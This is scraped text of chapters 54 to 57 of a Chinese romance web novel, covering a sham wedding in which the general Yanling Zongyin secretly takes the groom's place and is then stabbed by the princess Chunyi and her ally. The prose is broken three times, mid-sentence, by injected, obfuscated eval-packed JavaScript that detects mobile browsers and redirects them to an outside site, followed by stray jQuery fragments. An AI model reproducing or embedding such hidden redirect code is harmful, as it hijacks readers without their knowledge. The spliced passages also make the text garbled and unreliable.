阿上心绪翻涌,有磅礴的情感冲击着他的胸膛,几乎要喷涌而出,却被他死死压制,不敢露出分毫。他悄悄抬眸,偷觑纯懿一眼,下定了什么决心一般,郑重开口:“我很喜欢,帝姬,我真的非常、非常喜欢。” “那就好,”纯懿开心地点头,“你知道你姓什么吗?” “我是乞丐,从小就在街头流浪,早就不知道自己姓什么了。”阿上摇头,思索一会儿才开口,神情郑重,似乎说的不是一个姓,而是别的什么,沉重到他的肩膀都微微战栗,“徐是皇姓,我不敢随帝姬姓徐,就去人为余,我想姓余。” “余晚飞,这个名字不错。”纯懿默念了几次,见阿上是真的喜欢,自然也没有什么异议。 阿上抑制不住面上的欣喜,在心里将自己的新名字念上好多遍。阿上是灯铺掌柜的孙子,小乞丐不是阿上,他之前从没有名字,现在他却有了属于自己的名字,他叫余晚飞,是“况属高风晚,山山黄叶飞”的晚飞。 离了太子府,阿上有了新名字,一切都是新的开始,几人说说笑笑,就连一时无处可去的窘境都毫不在意。最后还是纯懿拍板,今晚先寻个客栈凑活一晚,然后他们再好好寻觅一处宅子,暂时安顿下来。 纯懿笑着对余晚飞道:“以延陵宗隐的性格,他既然存心折辱,一定会来亲自欣赏我的痛苦才肯罢休。晚飞,委屈你,短时间里,你可能真的要做我的郎君了。” 余晚飞对自己的新名字适应得很快,只觉得从纯懿口中听到这三个字,比世界上任何声音都要动听。可纯懿话中的意思却让他整张脸都爆红,几乎要滴出血来,说话也开始结巴:“不……不不,怎么是委屈,能做……做帝姬的……的……” 他最后还是无法将那二字说出口,只慌忙叩首:“是我的荣幸,我……我想都不敢想的……” 余晚飞从来机灵,一张笑脸更是让人难以设防,纯懿和裴明心还是第一次见他这般局促的模样。两人对视一眼,不由笑出声来,愉悦的笑声在夜风中传出很远,久久不散。 可最后,他们还是没能住进客栈。延陵宗覃派人追上了他们,将自己一处别院的钥匙硬塞给纯懿,还强制要求自己的手下亲自“护送”他们入住。纯懿在一行人炯炯有神的盯视下有些哭笑不得,看这阵仗,明白延陵宗覃就没打算给她拒绝的机会。 纯懿现在倒也正需要一处落脚之地,有延陵宗覃的名号在,多少还能少些麻烦。她领延陵宗覃的情,也就跟着那一队护卫,在当晚入住了延陵宗覃的别院。 接下来几天,为了保险起见,纯懿暂时没有与孟曹勋或是陆双昂联系,而是真的应了延陵宗隽传达的延陵宗隐的意思,开始准备起婚嫁之物来。 纯懿与余晚飞都是大庆人,一应自然都是大庆礼节。且既然已经与余晚飞说好了,一切婚仪都是为了应付延陵宗隐和延陵宗隽,纯懿根本没对这事儿多上心,随便扯了匹红布裁了几块喜帕,又胡乱绣了几针当做盖头,她这边也就算准备完了。 纯懿这边筹备的敷衍,就愈发衬托出余晚飞的重视来。 作为婚仪的另一位主人公,余晚飞好像与纯懿的思路完全不同。他似乎非常看重这件事,接连几日都在外面忙着婚仪筹备的事情,到了后来,甚至连晚上也不回来了,连纯懿都很难逮到他,跟他商量上几句话。 对于余晚飞的反常,纯懿有些莫名,而这种莫名在裴明心神神秘秘来找她时达到了巅峰。 “帝姬,我听说,那余晚飞最近很是忙碌,经常出入各种首饰衣裳铺子,今日定这明日订那的,样样都要最好的。而且,帝姬您知道吗……”裴明心说着说着,愈发眉飞色舞,惊叹道,“我听说,他竟然买了一座小宅子,要当做新房呢!” 别说裴明心了,连纯懿都瞪大了双眼,失声道:“买宅子?他哪里来的这么多钱?” “不知道啊,”裴明心挠头,有些不确定地猜测“莫不是,又是七王子暗中资助的?” 纯懿直觉不太对,正在拧眉思索,忽然,一道影子罩在她身上,将她整个人都困在暗影之中。 纯懿的世界骤然变暗,抬眸一扫,还没等看清来人的脸,眼中就先飞快划过一道金属的暗芒。 她立刻就知道了来人是谁:“将军。” 延陵宗隐今日心情似乎非常不错,就连薄唇边挂着的笑容都少了几分嘲讽,多了些愉悦。他进屋环顾四周,视线在堆在角落的那一堆红色物件上停留片刻,扬眉:“这就是帝姬大婚所用的婚仪?未免也太简陋了一点吧。” 纯懿含笑起身,立在延陵宗隐面前,仰头看着他:“这不是谨遵将军您的心意吗?” “我的心意?”延陵宗隐大笑出声,朝着纯懿逼近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964082|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步,两人的身躯几乎就要贴在一起,“我的什么心意?让你嫁给那小乞丐?以我对你的了解,与延陵宗隽或是我相比,你恐怕更愿意落给那小乞丐吧?” 延陵宗隐一张英俊面容骤然放大,紧盯着纯懿双眼,漫不经心地轻笑:“我倒是觉得,与其说是我的意愿,不如说是帝姬你的意愿?” 经过这么长时间的纠缠试探,你退我进,延陵宗隐倒是也如她了解他一般地了解她。 纯懿还没想好怎么回答,才能不动声色地试探出他对余晚飞的监视到什么程度,延陵宗隐却忽然转了话题。 “哦,对了,说起那小乞丐,”延陵宗隐来了兴致,猿臂伸展,轻松就将纯懿揽入怀里,双手在纯懿脊背上一下一下有节奏地轻拍,“听说你给他赐名叫余晚飞?什么意思?想让他带你飞走吗? 纯懿唇角带着浅笑,在延陵宗隐看不到的地方,眸中却满是讥诮。她轻声道:“将军误会了,只是看到风吹叶落,想到汴京的秋日,借景为名而已,没有别的意思。更何况……” 她从延陵宗隐怀中抬起头,对他粲然一笑:“若是我真的想寻一人作为靠山,有将军在前,又怎么能轮的上阿上呢?” 纯懿今日格外乖顺,延陵宗隐被她顺着毛捋,本就不错的心情更好了几分。他的行动向来简单粗暴,近日事情进展顺利,纯懿又愿意哄他,延陵宗隐就大笑着用力将纯懿的脑袋按入自己怀中,使劲儿到纯懿的鼻子撞到他坚实的胸膛之上,几乎快要压成扁片。 一阵明显的血腥味儿就这么突兀窜进纯懿鼻腔。 纯懿微怔,脑中顿时闪过七八种念头,又在点破和沉默之中犹豫一会儿,最后还是开口,满眼关心的道:“将军受伤了吗?” 没等延陵宗隐回答,她已化作确认的语气,伸手就要扒开延陵宗隐的衣襟:“让我看看。严重吗?怎么受伤的?” 在她面前向来禽兽的延陵宗隐这次却罕见地阻止了纯懿的动作。他紧握着纯懿的手,视线定在她瓷白的脸上,语带暧昧又饶有深意,坏笑着:“纯懿帝姬还是第一次这么主动,可这次我却不中用,让帝姬失望了。” “不过没关系,”他粗糙的大掌顺着纯懿的手臂划下,又灵巧钻入她袖中,带些力道暧昧揉捏纯懿滑腻的手臂,俯下身子,对着她小巧的耳廓吹气,“下次,我一定加倍补偿帝姬,一定让帝姬心满意足……” “呸!”纯懿甩开他作乱的大掌,没好气地将他推开,“我本来想着,你帮我摆脱了太子,我也应该对你好一些,让余晚飞出去时帮你带些药什么的。既然你这么生龙活虎,那就算我多管闲事,以后你就是死了,我也再不管你了。” “余晚飞忙得很,顾不上我这边。”延陵宗隐的唇已经劈头盖脸地落下,声音也含糊起来,“而且我不会死。要死,也得拖着你一起……” 延陵宗隐笑着,还帮纯懿出主意:“后日如何?后日就是你和那个小乞丐的婚期了,不如我赶在你再嫁之前,与你一起做一对亡命鸳鸯?” 55. 第 55 章 “亡命鸳鸯?”纯懿的头靠在延陵宗隐宽阔的肩膀处,眼睫一闪一闪,贴在延陵宗隐脖颈处,让他的心也跟着一起酥酥痒痒的。她声音轻轻的,说:“好啊,如果有一日,你再也不愿容忍我,你就杀了我,我们一起死。” 延陵宗隐大笑,胸膛震动着:“我不愿容忍你,然后杀了你,为什么还要陪你一起死?老子岂不是亏了。” 短暂的沉默之后,纯懿恍然大悟般,从善如流的点头:“有道理。那你给我个机会,让我杀你吧。我可以陪你一起去死,不觉得我自己亏。” 纯懿语气中满是笑意,似乎只是在与他逗趣,可话中到底有几分真心,却只有她自己清楚。 “你就这么想我死?延陵宗隐大掌拍上纯懿后背,话语里带着斥责,动作却非常轻柔,“你做梦!不过……” 他坏笑两声,对着纯懿暧昧的咬耳朵:“若是在榻上,我倒可以考虑把命交到你手上……唔……” 延陵宗隐一声闷哼,是纯懿突然重重咬上他的下巴,趁着他分神,从他的怀抱中挣脱出来。延陵宗隐单手捂上下颌处一圈清晰的牙印儿,手指微微摩挲,双眸越发暗沉,像看到猎物的狼一般,全身紧绷,紧紧盯着纯懿。 纯懿对着他微笑,伸出一根纤纤细指指向门口:“我要继续绣我的盖头了。将军,好走不送。” 撩拨完以后就赶人,延陵宗隐颇有一些无奈,本想立刻就让她知道自己的厉害,可想到虞娄长久传承下来的规矩,他还是用强大的控制力压制住了自己的冲动。 延陵宗隐瞥一眼角落里那堆鲜艳的红色,微一挑眉,淡笑点头:“好啊,既然纯懿帝姬这么重视,那我就不打扰了。提前祝帝姬新婚大喜,福缔良缘了。” 纯懿含笑点头,保持着送客的姿势不变,也非常客气:“多谢将军。” 延陵宗隐饶有深意看纯懿一眼,转身大步离开了。可就在他将将要踏出房门时,延陵宗隐的步子一顿,高大健壮的身影就定在门口。 他没有转身,只留给纯懿一个稳健挺直的背影,让纯懿看不到他的神情:“说好了,若是我死了,你陪我一起,我们一起共赴黄泉。” 身后却一阵沉默。不知过了多久,纯懿的声音才幽幽传来,轻柔中却带着种让人无可忽视的坚持:“将军慢走。” 延陵宗隐双唇紧抿,只短暂一瞬,他大笑出声,重新迈开步子,几步就走出了老远。他的声音遥遥传来,带着一贯的强势和不容拒绝:“就当你同意了。” 与余晚风的婚仪转眼就到,可做事一向靠谱的他这次不知是怎么了,直到婚仪前晚,连半个人影都没有出现在纯懿面前,甚至连嫁衣都没有送来。 纯懿对着一室空荡,颇有一些无奈:不是听说,为了这场婚仪,余晚风忙着筹备了好久,对什么都精益求精,认真的都不像是做戏,可怎么连这么大的事都忘记了? 她甚至已经在考虑,自己有没有什么红色的衣裙可以暂且替代了,裴明心急急忙忙跑来,对着纯懿笑道:“刚刚那小子终于送消息来了,说是嫁衣他不太满意,还在让绣娘修改,让帝姬先安心休息,明日中午之前一定送来,绝不耽误成礼。” 有了消息,纯懿便也放心了。她与裴明心一起笑着揶揄了余晚风几句,然在裴明心的服侍下早早上了床。 躺在柔软的被褥里,纯懿注视着轻幔帐顶,不由想起与陆双昂成亲的前夜,也是这般的黑暗中,她独自睡在床上,耳边却仿佛有几十个人在与她说话。这个说明日的礼仪,那个说妆容的细节,有对未来甜蜜的期待,也还在担心着未知的婚仪生活,林林总总,繁杂不一,最后纯懿生生一宿没睡,第二天熬出了好大两个黑眼圈,被陆双昂笑了好久。 而这一次…… 纯懿微笑,然后阖上双眼,很快便坠入梦乡。 第二日,黄道吉日,大吉,宜出行,宜嫁娶。 婚仪婚仪,便是要在黄昏举行。本来若是在大庆,上午也是很多事情需要做的,与姐妹叙话,与家人告别,还要接待喜娘喜婆,听她们说一些吉祥话儿,时间也很紧张。 可现在在虞娄,她的姐妹分散各处,她的家人远在边城,更没什么喜娘喜婆会来吵她,纯懿就舒舒服服睡了个懒觉,一直到大上午才起身,然后懒洋洋坐在妆镜前,轻扫峨眉,晕染脂霞,简单将头发盘在头顶,就算是上妆完毕了。 纯懿就与裴明心坐在一起,等着余晚风送来的嫁衣。 可一直过了中午,又到了下午,小院里都是一片平静,别说来送嫁衣了,连个来敲门的人都没有。眼看着太阳将落,黄昏将至,就连纯懿都有些着急了起来,余晚风才卡着最后的时间点,派人将装嫁衣的匣子送到了纯懿面前。 裴明心急得不行,一边赶快去打开匣子,一边对着送嫁衣的人不住抱怨:“怎么现在才来?马上吉时就到了,这可真是只给我们帝姬留一个穿衣的时间,就连不合身调整一下的时间都没给留……咦?这是什么东西?” 裴明心两根手指捏着两边,从匣子里拎了一件蓝色的衣裙出来,满脸惊诧:“这怎么是蓝的?” 纯懿循声走到裴明心身边,与她一起去看那条蓝色的衣裙,也很是诧异:“这是……余晚风送来的?” 平心而论,这套衣裙其实很好看。它衣襟和袖口处都绣着精致细密的花纹,俱是一些吉祥,花样中间还间杂着璀璨的金线和银线,在暗淡的光线下也熠熠生辉。这般构图和绣工,就是对于大庆绣娘来说,也已经算上品了,何况还是虞娄绣娘织绣的,更是耗费心血人工。 更让人惊艳的是,在衣裙下摆,宽阔裙面的裙角处,竟然坠了满满的各色宝石。宝石以与衣裙相配的各色蓝色、白色、银色为主,深浅不一,渐次变化,再点缀上一些色泽鲜艳的金色纹样,精致华丽,富贵逼人,显然是用了心的。 只除了…… 纯懿的视线定定看着面前这件奢华的衣裙,轻声道:“如果我没猜错,这是一件虞娄婚服。” 送嫁衣来的人恭敬福身,对着纯懿道:“贵人说的不错,虞娄婚服为蓝色,这件嫁衣用了十八幅裙面,又在其上穿金银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978393|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣线,缀大小宝石六百余颗,新郎官可是用心了。贵人好福气。” 听说这衣裙这么复杂贵重,裴明心立刻就美滋滋起来。在她心里,自家帝姬世上最好,自然一应物件都得用最好的,这下,她连之前对余晚风的怨念都一扫而空,异常欣喜,直接拿着嫁衣就往纯懿身上比划: “尺寸也正正好,看来在帝姬身边那么长时间,也没白待。太好了,这下也不用修改了,直接就能上身了,帝姬,您快去试试啊。” 纯懿被裴明心推着朝里屋走,心里对于余晚飞突然换了虞娄婚服仍有些不解,可留给她的时间已经不多,她只能半顺从半被迫地换上了这套华美异常的虞娄婚服。 衣服一上身,尺寸果然正正合适,就像是用尺子精心丈量过似的,每一寸收紧和每一处放松都恰到好处,勾勒出她盈盈一握的腰肢和纤细袅娜的身形。 在裴明心的赞不绝口中,纯懿心里的疑惑更甚:就连量体定做,都不一定能做到尺寸这般精确,余晚风可是从来没有请人来为她量身的,他是怎么做出的如此合身的嫁衣? 蓝色嫁衣自然是配不上红色盖头的。送嫁衣来的人似乎早有准备,又从身后捧出一个盒子来,一打开,里面珠翠光华夺目,是一套足以与嫁衣相配的精致头面。 纯懿被强按在凳子上,裴明心手脚麻利,立刻就将钗环都往纯懿发上插,一边装饰一边阻止纯懿的动作:“帝姬别动,吉时马上就要到了,咱们得抓紧了赶快装扮好。” 纯懿看着镜子里从素淡飞快变为华丽的自己,忽然生出一种被赶鸭子上架的荒谬感,只觉得有哪里不对。可还没等她想清楚,外面已传来拍门声音,送嫁衣来的人扭头看一眼,满脸喜气地作揖:“新郎官到了!小人这就先退下了,祝贵人新婚大喜,福缔良缘。” 他最后几句话说的僵硬,却又一字一顿认认真真,像是提前背好了吉祥话,就等着现在这般的场合来用了。 纯懿觉得这两句莫名耳熟,还想多问他两句,裴明心已经将一副垂着细密金链和宝石的罩面挂在她发间,立刻遮挡了纯懿的视线。罩面外面再搭上一层薄纱,别说观察旁人的细微神情了,就连凑到纯懿面前的一张脸,纯懿都辨认不出这是谁。 那人开口说了话,纯懿才知道这是裴明心。她非常欢快地夸赞纯懿:“帝姬,您真是太美了。不行,我要提前去跟余晚风那小子说好,他就是个名义上的,可不能见了您这般美丽,生出些什么别的心思来。” 裴明心的脚步跑远了,屋内只剩下纯懿一人。她摸索着桌沿站起身来,试探地朝外走了一步,裙摆沉重的宝石就将她拽的一个踉跄,差点摔倒。 电光火石之间,一只有力的臂膀环上纯懿腰间,阻止了她将脸砸到地上的惨剧。待扶着纯懿站稳,那手臂立刻便缩了回去,眼前一个凑得极近的朦胧身影很是有礼地后退一步,与她保持着恰到好处的距离,垂手而立。 纯懿试探着开口:“晚风?” 沉默。许久之后,属于男子的低沉声音响起,简单又极轻:“嗯。” 56. 第 56 章 纯懿觉得今日的余晚飞有些奇怪。往常他总是笑着的,就是在气氛最沉默的时候,也会说些笑话来逗趣,很少这么沉闷安静。 可再想一想,突然让他娶自己,本来就有些强人所难,余晚飞有些尴尬,也是情理之中。纯懿就主动承担起了活跃气氛的角色,对着那个模糊的身影笑道:“你是之前看过新娘妆扮,被吓到过吗?我没有把脸抹成死白,也没有把嘴巴化成妖怪,你不用担心。” 似乎是没想到一向端庄文静的纯懿能说出这样的俏皮话,余晚飞轻笑,满是真心愉悦的笑声中,终于有了些纯懿熟悉的阿上的感觉。 一个酒杯被塞进纯懿手中,纯懿下意识接过来持住杯底,指尖却触碰到了一条手感光滑柔软、长长的绳状物体,正系在杯脚处,不知通往何处。 纯懿垂下头,透过摇晃的头纱和面罩流苏,看到一条蓝白棉线编制缠绕的彩绳正垂在她面前,露出一小截真身,又隐没在她的蓝色喜服和一双黑底绣蓝色花纹的虞娄制式男士短靴上。 这下子,纯懿终于能确定,今日余晚飞并不是仅仅准备了一件虞娄喜服。所有的婚仪,他都是按着虞娄习俗筹备的。 纯懿不太了解虞娄婚俗,手指就不由自主顺着棉线摸索着,想要探明这“蓝线”到底牵往何处。她指尖正在小心翼翼地试探着前进时,一双戴着不知道什么动物皮子做成的手套的大手忽然握上她,先是将她的手全部团入掌心,轻轻揉捏一会儿之后,又强制要求她将手掌展开,手指一根一根插入纯懿的指间,与她紧紧相扣。 一个有些沉闷的声音传来,音色瓮瓮的,听不太清楚:“合卺酒。要一起喝。” 没想到余晚飞的仪式感这么足,与她交握的手又那么使劲儿,纯懿试着挣脱两下,挣不开,也就无奈放弃了挣扎,顺从地让他拉着,另一只手拿着酒杯凑到唇边,浅浅抿了一口意思一下,就放下了杯子。 手指一紧,与她交握的大手微微加了些力道,似乎有些心绪不平。可很快,手上一松,胳膊却被一拽,身边的人似乎探身取了什么东西,然后就是一饮而尽和吞咽的声音。 纯懿隐隐猜到余晚飞在做什么,她有些担忧地出声:“这酒烈,你少喝一点。” 余晚飞简短解释:“合卺酒不能剩。” 紧接着,一个圆圆的东西被塞进纯懿手中,苹果的清香窜入鼻尖,闻着就清甜可口。 在虞娄这么久,纯懿已经知道,虞娄多是草场,土地贫瘠,很少有适合耕种的土地,珍贵的耕田都用来种庄稼粮食,几乎不会种水果。现在竟然有这么圆润好闻的新鲜苹果,想也知道十分宝贵,不知道余晚飞是从哪里费了多大劲儿找来的。 纯懿一时有些受宠若惊,掌心托着苹果捧在胸前,竟不知道该如何是好。 身侧的余晚飞不由低笑。笑完了,他看着纯懿傻呆呆的样子,好心提醒她:“咬一口。” 纯懿便将苹果捧到唇边,小小咬了一口,清甜的汁水顿时在口中四溢,是她已经许久没有尝过的味道。 耳边也传来“咔嚓”一声。余晚飞到底是男人,咬的干脆利落,咀嚼两口就咽下了肚,然后将纯懿手中苹果夺走,紧接着又塞来一个新的。 又是“咔嚓”一声,余晚飞边嚼着第二口苹果,边指导纯懿:“再咬一口。” 纯懿听话照做,唇瓣触到苹果上好大一个口子,是被余晚飞咬下去的那一口,抵她三五口都大。 她有些想笑,努力忍住了,在那个大口旁边,啃下小小一口。 身侧的余晚飞似乎一直在注意她的动作,看到苹果上紧贴着他那一口的旁边,新添了小小一个印子,又看纯懿洁白的脖颈上下颤动,将那口苹果咽了下去,这才松了口气,一直有些紧绷的心弦这才彻底放下来。 他伸出右手,一向稳健的手臂竟然有些微微颤抖,让他不得不将背在身后的左手也一并伸了出来,两手小心翼翼各捻起一侧头纱,用力一扬,就将蓝色轻纱抛于纯懿身后。 纯懿眼前的视线终于清明了一些,跳动的烛光也一下子清晰了起来。她正躲避着剧烈摇动的面罩流苏,发上一轻,脸前面罩也已经被取下,光线猛然刺入她的眼中,让她下意识地眯眼躲避。 待隐隐绰绰的视线终于恢复清明,眼前一张含笑的脸渐渐映在纯懿眸中,惊得她一双杏眼猛然瞪大,双脚下意识后退一步,裙边缀着的各色宝石相互碰撞,发出“叮叮咚咚”的悦耳声响。 落在纯懿耳中,却仿佛恶鬼低吟。 指甲扣进掌心,纯懿咬牙去,一字一句清晰道:“延陵宗隐!” 正站在她面前,一身蓝色喜服,满脸兴致盎然看着她的人,根本就不是余晚飞!能做出这么恶劣的举动,不是延陵宗隐又是谁! 延陵宗隐对于纯懿的惊怒似乎早有预料,在纯懿开口前,他便抢先道:“虞娄礼节,蓝色喜服,相互敬酒,交换苹果,各咬一口,寓意着相互扶持,共同度过艰难的人生旅程。纯懿帝姬,我们已经礼成,以后还请多加注意你的身份,不要给我丢脸。” 纯懿从没想到,延陵宗隐连冒充新郎这样的事都肯做。他的行事恣意随心,再次刷新了纯懿对她的认知。 她一时气结,半是无奈半是疑惑,叹气道:“将军,二太子,狼主,你这又是何苦?” 延陵宗隐面上带着些无所谓的浅笑,随口道:“为了气我那位太子兄长啊。他不想把你给我,我就偏要要你,就是要气死他。” 这么幼稚的理由,竟然是从平日里那个阴鸷深沉的延陵宗隐口里说出来,纯懿一个字都不信。 她气得要命,立刻就想嘲讽他两句,就在这时,门口一响,本来应该是今晚新郎的余晚飞出现在门口。 他低眉垂目地小步走进屋子,手里端着一个托盘,上面放着一杯茶水和一个苹果,恭恭敬敬递到延陵宗隐面前:“将军,这是您吩咐的东西。” 延陵宗隐倒的确是下过这样的命令。他记得纯懿不喜欢喝酒,倒是喜欢侍弄茶水,担心酒味儿会让她不喜。可合卺酒是绝不能取消的,权衡之下,他便命黑塔提前准备了茶水和苹果,用来为纯懿解酒去味儿。 只是不知道,为什么送来的会是余晚飞。 他刚刚还带些愉悦的眸光就犀利了几分,有些怀疑地盯着着余晚飞的神色,又在他手里端着的东西上打转。 纯懿也随他一起看向余晚飞。可与延陵宗隐不同,她的视线第一时间就落在了余晚飞端着托盘的手腕上,浑身一震,眸光就再也不能从那里移开。 余晚飞手腕上正系着一根红绳,与普通红绳不同的是,这条手绳是红线与金线缠绕编织,在跳动的烛火下,金光点点,闪烁明灭,落进纯懿眼中,让她刹那间几乎想要流泪。 这条手绳她太熟悉了,世上只有两条,一条就在她腕上,被她仔细藏起,而另一条……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993233|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>是属于陆双昂的。 昂哥哥!他与余晚飞取得了联系,趁着今晚延陵宗隐放松警惕来到这里,就要趁机动手了! 那余晚飞端来的这些东西…… 纯懿念头急转,看出延陵宗隐已经起了些疑心,便赶在他开口前,抢先伸手端起茶杯,立时抿了一口茶水。 然后将嘴里茶水连带着茶末一起喷在延陵宗隐衣襟上。 纯懿一边擦唇,一边撇嘴,嫌弃道:“这是什么茶!又涩又生,像是冷水泡的树叶子,这东西你也能喝进口?” 她将杯子往延陵宗隐面前一推,非常理直气壮地要求:“来啊,你喝喝看,这么难喝的东西,我看你能忍着不吐出来?” 纯懿这副刚得了倚仗就立刻狐假虎威的样子,自己跌倒了还试着要踩他一脚,让延陵宗隐觉得可气又可爱。他接过纯懿快杵到他鼻子上的杯子,张口一饮而尽,然后将杯子随手抛到一边,还不忘张开嘴巴证明给她看:“喝了,没吐。” 纯懿已经开始吃余晚飞拿来的苹果了。她正咬了一大口,泄愤般的嚼,被延陵宗隐这副无赖的样子气得火冒三丈,立刻将苹果甩到延陵宗隐身上:“你有病吧!” 延陵宗隐伸手,轻轻松松就捞住苹果,看到上面还带着些湿润的她的唇印,被蛊惑一般将双唇附在她的齿痕之上,大大咬了一口,“嘎嘣嘎嘣”地嚼,边嚼还边举着苹果对她示意,评论道:“是你太娇气。” 纯懿面上怒容更甚,心里却悄悄松了口气。她不知道余晚飞送来的茶和苹果里,到底哪个是有问题的,只好都让延陵宗隐吃上一些,以求保险。 纯懿有些紧张的等待着,可延陵宗隐依旧在“嘎嘣嘎嘣”咬着苹果,动作潇洒,神情自然,没有一点儿不对劲的地方。 纯懿又去瞥余晚飞。余晚飞仍低垂着头,指尖却藏在托盘之下,冲着延陵宗隐的方向微颤示意。纯懿又去看延陵宗隐,思索了一会儿,有些不明所以,却发现随着苹果越来越少,余晚飞似乎愈发急躁,她终于横下了心,站起身来。 不知是不是这个意思,现在却只能放手一搏了。 纯懿带着恰到好处的怒气走向延陵宗隐,气势汹汹,似乎是准备来与他算账。延陵宗隐将苹果咬入嘴里,微一扬眉,饶有兴致看着走来的纯懿,甚至有些期待她要怎么泄愤。 纯懿在延陵宗隐面前站定。她小小一只,头顶只堪堪到延陵宗隐胸膛,高扬着下巴,才能与延陵宗隐居高临下的眸子对视。可她的动作却带着万分豪气,踮起脚尖,伸展开双臂,忽然将两只柔软的臂膀揽上延陵宗隐的脖颈,强压着他的后颈让他弯下身来。 延陵宗隐半是吃惊半是期待,含笑随着她的动作倾身,下一刻,纯懿放大的美丽面庞就充斥了他整个视线,她身上馨甜的气息也盈满延陵宗隐的鼻腔。 她竟然就着他叼着苹果的动作,主动咬上了另一半苹果。 延陵宗隐瞳孔颤抖,纯懿面上就带上了明显的得意,手臂将延陵宗隐的脖颈缠绕得更紧了一些,让他几乎难以难以挣脱。 延陵宗隐也没有要挣脱的意思。他早知道纯懿生得美丽,可这般美丽主动撞入他怀中,还如此触手可得,让他不由沉迷。 延陵宗隐身体僵直地被困在纯懿怀中。与此同时,一旁的余晚飞忽然从胸口处抽出了一把匕首。 他悄无声息却飞快靠近,狠狠一挥,将匕首没根推入延陵宗隐后心。 57. 第 57 章 延陵宗隐吃痛,浑身肌肉瞬时紧绷。他的大掌从纯懿后腰滑到她身侧,将她坚定却轻柔地推了一把,自己顺势转身,高大的身躯拦在纯懿身前,密密实实将她护在身后,直面从背后给了他一刀的人。 待看清眼前的袭击者是余晚飞,延陵宗隐明显一怔,短暂一瞬之后,他仿佛忽然被激怒的野兽,浑身杀意暴涨,那般战场上修炼出来的凶恶神情,将满心恨意的余晚飞都震得浑身一战,下意识后退半步。 延陵宗隐不顾仍在他背上微微颤抖的刀柄,朝着余晚飞飞身扑去。他本就身形健壮,气势逼人,是虞娄最富有盛名的勇士,控制余晚飞这么一个半大少年,简直再轻易不过。 余晚飞连还手之力都没有,甚至只是一眨眼的功夫,延陵宗隐就已经逼近了眼前。他蒲扇一般的大掌掐上他的脖颈,微微用力,就将余晚飞拎了起来。 延陵宗隐黑眸眯起,冰冷的视线扫过余晚飞满含恨意的双眼,不顾他在半空中无助蹬踹的双脚,双手缓缓加了力道,将余晚飞提得更高。余晚飞的脸渐渐憋成了暗红色,延陵宗隐却没有一点儿要放过他的意思,仍旧在继续施力,就像一个没有感情的杀人武器。 眼看着余晚飞已经开始眼白上翻,悬在空中的双脚也渐渐失了力气,再一会儿就要命丧当场,延陵宗隐忽然动作一顿,整个身躯都凝滞住一般,僵在原地。 短暂的静止之后,他的身子又猛地一震,然后,他似乎终于回过了神,随手将余晚飞抛到一边,缓缓地、缓缓地转身,看向被他护在身后的纯懿。 她刚刚还在与他争抢苹果的素净双手,现在却满是鲜血,正紧握着匕首颤抖着举在胸前,还保持着刚刚将匕首刺入他身体的姿势。 延陵宗隐的视线从她的双手慢慢上移,与她目光相接。 纯懿一双杏眸瞪的极大,里面满含着泪水,波光粼粼的,让他想到阳光下的桑干河,又让他想到有时被他欺负狠了,她红着眼睛,软着嗓子哀哀求他的可怜模样。可现在,这双水波潋滟的眼中,全是恨意和燃烧一切的疯狂,仿佛压抑了许久的情绪在此刻终于爆发,要拉着玉石俱焚一般。 前几日被延陵宗隽捅的一刀还没好,甚至不久前,这伤口还被纯懿悉心上药,可转眼间,就被她亲手再次撕开,露出狰狞的血肉来。 延陵宗隐只觉伤口传来一阵紧接着一阵的剧烈疼痛,这般明显细密的痛意顺着他的经脉抵达他的五脏六腑,连带着他的胸膛也一起疼痛难忍。与刚才看向余晚飞的愤恨不同,此刻,看着纯懿冷静的面庞,他的眼中终于失了向来的漠然,除了明显的震惊和恼怒,还有浓烈的不解和失望。 千言万语撞击着胸膛,他却紧抿着双唇,什么也没说。延陵宗隐沉默着提起脚步,朝着纯懿大步而来,开始还有些迟缓,后来就越来越坚定,步伐也越来越大,几个迈步,就将纯懿逼退到墙角,躲无可躲。 用身体阻挡了所有纯懿的逃脱可能,延陵宗隐伸出大掌,不顾纯懿胡乱挥舞的匕首在他胳膊上留下的血痕,一把就将匕首打落在地,然后五指成爪,对着纯懿抓来。 余晚飞忽然出现在延陵宗隐身后。他飞身一扑,圈住延陵宗隐的脖子,整个人不管不顾,猛地跃上延陵宗隐宽阔的后背,将自己紧紧扒在延陵宗隐身上,一边用力锁着他的脖子,一边用膝盖对着延陵宗隐后心的伤口全力猛踢。 很快,鲜血就染红了延陵宗隐身上蓝色的喜服,甚至顺着脊背肌□□壑缓缓而下,留下一条触目惊心的红色印记。 延陵宗隐不得不分神去抵挡余晚飞的纠缠,纯懿抓到机会,也全身扑上,与余晚飞一人在前,一人再后,互相配合着与延陵宗隐缠斗。 